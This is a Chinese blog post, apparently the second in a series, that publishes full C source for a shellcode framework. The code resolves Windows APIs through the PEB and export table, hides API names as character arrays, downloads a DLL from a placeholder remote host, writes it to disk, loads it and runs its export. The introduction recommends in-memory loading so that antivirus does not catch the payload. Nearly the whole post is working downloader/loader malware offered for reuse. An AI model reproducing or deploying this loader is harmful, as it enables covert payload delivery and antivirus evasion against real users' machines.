简介:
承接接上篇。上篇(C语言实现shellcode通用框架一:解密执行)我们的第二层shellcode核心代码都是事先加密好嵌套在第一层shellcode中,核心代码更新起来不方便。所以联网更新显得尤为重要。大家可以选择内存加载,这样可以避免落地被杀软查杀,也可以选择落地,随意选择,思想和代码很重要。其实,这篇介绍的shellcode框架代码和上篇大同小异,无非是API、动态库多了一些,代码量有所变大,但是核心思想,代码逻辑还是一样的。开下源,希望对大家学习有所帮助。关于内存加载那块我注释并标出了,使用的是git上一个很好的开源项目MemoryModule(传送门)。下面一起看代码吧!
#include <Windows.h>
#include <stdio.h>
#include <Wininet.h>
//#include "MemoryModule.h"
//__declspec(naked) DWORD getKernel32()
//{
// __asm
// {
// mov eax, fs:[0x30]
// mov eax, [eax + 0xc]
// mov eax, [eax + 0x14]
// mov eax, [eax]
// mov eax, [eax]
// mov eax, [eax + 0x10]
// ret
// }
//}
FARPROC _GetProcAddresss(HMODULE hMoudleBase);
int main()
{
HMODULE h_kernel32 = NULL;
__asm
{
mov eax, fs:[0x30]
mov eax, [eax + 0xc]
mov eax, [eax + 0x14]
mov eax, [eax]
mov eax, [eax]
mov eax, [eax + 0x10]
mov h_kernel32, eax
}
//printf("kernel32: 0x%08x\n",h_kernel32);
//printf("kernel32: 0x%08x\n",LoadLibraryA("kernel32.dll"));
typedef FARPROC (WINAPI *FN_GetProcAddress) (
__in HMODULE hModule,
__in LPCSTR lpProcName
);
FN_GetProcAddress fn_GetProcAddress;
fn_GetProcAddress = (FN_GetProcAddress)_GetProcAddresss(h_kernel32);
typedef HMODULE (WINAPI *FN_LoadLibrary)(
__in LPCSTR lpLibFileName
);
FN_LoadLibrary fn_LoadLibrary;
char strLoadLibraryA[] = {'L','o','a','d','L','i','b','r','a','r','y','A','\x00'};
fn_LoadLibrary = (FN_LoadLibrary)fn_GetProcAddress(h_kernel32,strLoadLibraryA);
//printf("LoadLibrary: 0x%08x\n",fn_LoadLibrary);
//printf("LoadLibrary: 0x%08x\n",LoadLibraryA);
char struser32[] = {'u','s','e','r','3','2','.','d','l','l','\x00'};
HMODULE h_user32 = fn_LoadLibrary(struser32);
//printf("user32: 0x%08x\n",h_user32);
//printf("user32: 0x%08x\n",LoadLibraryA("user32.dll"));
//printf("GetProcAddress: 0x%08x\n",fn_GetProcAddress);
//printf("GetProcAddress: 0x%08x\n",GetProcAddress);
char strwininet[] = {'w','i','n','i','n','e','t','.','d','l','l','\x00'};
HMODULE h_winnet = fn_LoadLibrary(strwininet);
//printf("wininet: 0x%08x\n", h_winnet);
//printf("wininet: 0x%08x\n", LoadLibraryA("wininet.dll"));
typedef HINTERNET(WINAPI *FN_InternetOpenA)(
_In_opt_ LPCSTR lpszAgent,
_In_ DWORD dwAccessType,
_In_opt_ LPCSTR lpszProxy,
_In_opt_ LPCSTR lpszProxyBypass,
_In_ DWORD dwFlags
);
char strInternetOpenA[] = {'I','n','t','e','r','n','e','t','O','p','e','n','A','\x00'};
FN_InternetOpenA fn_InternetOpenA = (FN_InternetOpenA)fn_GetProcAddress(h_winnet, strInternetOpenA);
typedef HINTERNET(WINAPI *FN_InternetOpenUrlA)(
__in HINTERNET hInternet,
__in LPCSTR lpszUrl,
__in_ecount_opt(dwHeadersLength) LPCSTR lpszHeaders,
__in DWORD dwHeadersLength,
__in DWORD dwFlags,
__in_opt DWORD_PTR dwContext
);
char strInternetOpenUrlA[] = {'I','n','t','e','r','n','e','t','O','p','e','n','U','r','l','A','\x00'};
FN_InternetOpenUrlA fn_InternetOpenUrlA = (FN_InternetOpenUrlA)fn_GetProcAddress(h_winnet, strInternetOpenUrlA);
typedef HANDLE (WINAPI *FN_CreateFileA)(
_In_ LPCSTR lpFileName,
_In_ DWORD dwDesiredAccess,
_In_ DWORD dwShareMode,
_In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
_In_ DWORD dwCreationDisposition,
_In_ DWORD dwFlagsAndAttributes,
_In_opt_ HANDLE hTemplateFile
);
char strCreateFileA[] = {'C','r','e','a','t','e','F','i','l','e','A','\x00'};
FN_CreateFileA fn_CreateFileA = (FN_CreateFileA)fn_GetProcAddress(h_kernel32, strCreateFileA);
typedef BOOL (WINAPI *FN_WriteFile)(
__in HANDLE hFile,
__in_bcount_opt(nNumberOfBytesToWrite) LPCVOID lpBuffer,
__in DWORD nNumberOfBytesToWrite,
__out_opt LPDWORD lpNumberOfBytesWritten,
__inout_opt LPOVERLAPPED lpOverlapped
);
char strWriteFile[] = {'W','r','i','t','e','F','i','l','e','\x00'};
FN_WriteFile fn_WriteFile = (FN_WriteFile)fn_GetProcAddress(h_kernel32, strWriteFile);
typedef BOOL(WINAPI* FN_CloseHandle)(
__in HANDLE hObject
);
char strCloseHandle[] = {'C','l','o','s','e','H','a','n','d','l','e','\x00'};
FN_CloseHandle fn_CloseHandle = (FN_CloseHandle)fn_GetProcAddress(h_kernel32, strCloseHandle);
char strmsvcrt[] = {'m','s','v','c','r','t','.','d','l','l','\x00'};
HMODULE h_msvcrt = fn_LoadLibrary(strmsvcrt);
//typedef LPVOID (WINAPI* FN_VirtualAlloc)(
// __in_opt LPVOID lpAddress,
// __in SIZE_T dwSize,
// __in DWORD flAllocationType,
// __in DWORD flProtect
// );
//char strVirtualAlloc[] = {'V','i','r','t','u','a','l','A','l','l','o','c','\x00'};
//FN_VirtualAlloc fn_VirtualAlloc = (FN_VirtualAlloc)fn_GetProcAddress(h_kernel32, strVirtualAlloc);
typedef void* (*FN_malloc)(_In_ size_t _Size);
char stmalloc[] = {'m','a','l','l','o','c','\x00'};
FN_malloc fn_malloc = (FN_malloc)fn_GetProcAddress(h_msvcrt, stmalloc);
typedef void (*FN_memset)(_Out_opt_bytecapcount_(_Size) void * _Dst, _In_ int _Val, _In_ size_t _Size);
char strmemset[] = {'m','e','m','s','e','t','\x00'};
FN_memset fn_memset = (FN_memset)fn_GetProcAddress(h_msvcrt, strmemset);
typedef void (*FN_free)(_Inout_opt_ void * _Memory);
char strfree[] = {'f','r','e','e','\x00'};
FN_free fn_free = (FN_free)fn_GetProcAddress(h_msvcrt, strfree);
typedef BOOL (WINAPI* FN_InternetReadFile)(
__in HINTERNET hFile,
__out_bcount(dwNumberOfBytesToRead) __out_data_source(NETWORK) LPVOID lpBuffer,
__in DWORD dwNumberOfBytesToRead,
__out LPDWORD lpdwNumberOfBytesRead
);
char strInternetReadFile[] = {'I','n','t','e','r','n','e','t','R','e','a','d','F','i','l','e','\x00'};
FN_InternetReadFile fn_InternetReadFile = (FN_InternetReadFile)fn_GetProcAddress(h_winnet, strInternetReadFile);
typedef BOOL(WINAPI* FN_InternetCloseHandle)(
_In_ HINTERNET hInternet
);
char strInternetCloseHandle[] = {'I','n','t','e','r','n','e','t','C','l','o','s','e','H','a','n','d','l','e','\x00'};
FN_InternetCloseHandle fn_InternetCloseHandle = (FN_InternetCloseHandle)fn_GetProcAddress(h_winnet, strInternetCloseHandle);
char strIe[] = {'R','o','o','k','I','E','/','1','.','0','\x00'};
HINTERNET hSession = fn_InternetOpenA(strIe, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
//char strdllpath[] = {'C',':','\\','U','s','e','r','s','\\','P','u','b','l','i','c','\\','t','e','s','t','_','1','.','d','l','l','\x00'};
char strdllpath[] = {'t','e','s','t','_','1','.','d','l','l','\x00'};
if (hSession != NULL)
{
// down file url
char strUrl[] = {'h','t','t','p',':','/','/','w','w','w','.','x','x','x','x','x','x','x','x','.','c','o','m','/','t','e','s','t','.','d','l','l','\x00'};
HINTERNET hOpenUrl = fn_InternetOpenUrlA(hSession, strUrl, NULL, 0, INTERNET_FLAG_DONT_CACHE, 0);
if (hOpenUrl != NULL)
{
//byte temp[0x65000];
BYTE *temp = (BYTE*)fn_malloc(0x10000);
fn_memset(temp,0,0x10000);
DWORD num = 1;
DWORD w_num = 0;
HANDLE h_file = fn_CreateFileA(strdllpath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (h_file)
{
fn_InternetReadFile(hOpenUrl, temp, 0x10000, &num);
// memory load dll
//size_t size_data = (size_t)num;
//typedef void *HMEMORYMODULE;
//HMEMORYMODULE h_dll = MemoryLoadLibrary(temp,size_data);
//FARPROC run_api = MemoryGetProcAddress(h_dll,strRun);
//run_api();
//
//MemoryFreeLibrary(h_dll);
fn_WriteFile(h_file, temp, num, &w_num, NULL);
}
//printf("success\n");
fn_CloseHandle(h_file);
fn_free(temp);
fn_InternetCloseHandle(hOpenUrl);
hOpenUrl = NULL;
}
fn_InternetCloseHandle(hSession);
hSession = NULL;
}
HMODULE h_dll = fn_LoadLibrary(strdllpath);
typedef void (*FN_run)();
char strRun[] = {'r','u','n','\x00'};
FN_run fn_run = (FN_run)fn_GetProcAddress(h_dll,strRun);
fn_run();
//getchar();
return 0;
}
FARPROC _GetProcAddresss(HMODULE hMoudleBase)
{
PIMAGE_DOS_HEADER lpDosHeader= (PIMAGE_DOS_HEADER)hMoudleBase;
PIMAGE_NT_HEADERS32 lpNtHeadr = (PIMAGE_NT_HEADERS32)((DWORD)hMoudleBase + lpDosHeader->e_lfanew);
if(!lpNtHeadr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size)
return NULL;
if(!lpNtHeadr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)
return NULL;
PIMAGE_EXPORT_DIRECTORY lpExports = (PIMAGE_EXPORT_DIRECTORY)(((DWORD)hMoudleBase + (DWORD)lpNtHeadr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress));
PDWORD lpdwFunName = (PDWORD)((DWORD)hMoudleBase + (DWORD)lpExports->AddressOfNames);
PWORD lpdwOrd = (PWORD)((DWORD)hMoudleBase + (DWORD)lpExports->AddressOfNameOrdinals);
PDWORD lpdwFunAddr = (PDWORD)((DWORD)hMoudleBase + (DWORD)lpExports->AddressOfFunctions);
DWORD dwLoop = 0;
FARPROC pRet = NULL;
for(; dwLoop <= lpExports->NumberOfNames -1; dwLoop++)
{
char *pFunName = (char*)lpdwFunName[dwLoop] + (DWORD)hMoudleBase;
if(pFunName[0] == 'G' &&
pFunName[1] == 'e' &&
pFunName[2] == 't' &&
pFunName[3] == 'P' &&
pFunName[4] == 'r' &&
pFunName[5] == 'o' &&
pFunName[6] == 'c' &&
pFunName[7] == 'A' &&
pFunName[8] == 'd' &&
pFunName[9] == 'd' &&
pFunName[10] == 'r' &&
pFunName[11] == 'e' &&
pFunName[12] == 's' &&
pFunName[13] == 's' )
{
pRet = (FARPROC)(lpdwFunAddr[lpdwOrd[dwLoop]] + (DWORD)hMoudleBase);
break;
}
}
return pRet;
}